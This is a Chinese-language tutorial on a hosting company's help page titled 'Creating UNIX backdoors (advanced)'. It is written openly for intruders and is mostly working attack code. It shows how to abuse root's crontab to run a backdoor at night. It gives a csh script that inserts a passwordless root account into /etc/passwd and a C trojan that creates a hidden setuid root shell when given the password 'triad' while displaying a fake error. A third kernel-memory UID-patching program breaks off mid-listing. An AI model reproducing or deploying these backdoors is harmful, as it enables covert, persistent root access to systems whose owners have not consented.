始创于2000年 股票代码:831685
咨询热线:0371-60135900 注册有礼 登录
  • 挂牌上市企业
  • 60秒人工响应
  • 99.99%连通率
  • 7*24h人工
  • 故障100倍补偿
您的位置: 网站首页 > 帮助中心>文章内容

创建UNIX后门(高级篇) (1)

发布时间:  2012/8/10 18:20:20

    Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

    (1) (2) (3) (4) (5) (6)

    0 0 * * 3 /usr/bin/updatedb

    1. 分钟 (0-60)

    2. 小时 (0-23)

    3. 日 (1-31)

    4. 月 (1-12)

    5. 星期 (1-7)

    6. 所要运行的程序

    以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:

    0 0 * * * /usr/bin/retract

    <++> backdoor/backdoor.sh

    #!/bin/csh

    set evilflag = (`grep eviluser /etc/passwd`)

    if($#evilflag == 0) then

    set linecount = `wc -l /etc/passwd`

    cd

    cp /etc/passwd ./temppass

    @ linecount[1] /= 2

    @ linecount[1] += 1

    split -$linecount[1] ./temppass

    echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa

    cat ./xab >> ./xaa

    mv ./xaa /etc/passwd

    chmod 644 /etc/passwd

    rm ./xa* ./temppass

    echo Done...

    else

    endif

    <-->

    [综合]

    当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:

    <++> backdoor/backdoor3.c

    #include

    #define pass "triad"

    #define BUFFERSIZE 6

    int main(argc, argv)

    int argc;

    char *argv[];{

    int i=0;

    if(argv[1]){

    if(!(strcmp(pass,argv[1]))){

    system("cp /bin/csh /bin/.swp121");

    system("chmod 4755 /bin/.swp121");

    system("chown root /bin/.swp121");

    system("chmod 4755 /bin/.swp121");

    }

    }

    printf("372f: Invalid control argument, unable to initialize. Retrying");

    for(;i<10;i++){

    fprintf(stderr,".");

    sleep(1);

    }

    printf("nAction aborted after 10 attempts.n");

    return(0);

    }

    <-->

    [变种]

    以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。

    <++> backdoor/kmemthief.c

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #define pass "triad"

    struct user userpage;

    long address(), userlocation;

    int main(arg


亿恩科技地址(ADD):郑州市黄河路129号天一大厦608室 邮编(ZIP):450008 传真(FAX):0371-60123888
   联系:亿恩小凡
   QQ:89317007
   电话:0371-63322206


本文出自:亿恩科技【www.enkj.com】

服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]

  • 您可能在找
  • 亿恩北京公司:
  • 经营性ICP/ISP证:京B2-20150015
  • 亿恩郑州公司:
  • 经营性ICP/ISP/IDC证:豫B1.B2-20060070
  • 亿恩南昌公司:
  • 经营性ICP/ISP证:赣B2-20080012
  • 服务器/云主机 24小时售后服务电话:0371-60135900
  • 虚拟主机/智能建站 24小时售后服务电话:0371-60135900
  • 专注服务器托管17年
    扫扫关注-微信公众号
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 亿恩科技 版权所有  地址:郑州市高新区翠竹街1号总部企业基地亿恩大厦  法律顾问:河南亚太人律师事务所郝建锋、杜慧月律师   京公网安备41019702002023号
      0
     
     
     
     

    0371-60135900
    7*24小时客服服务热线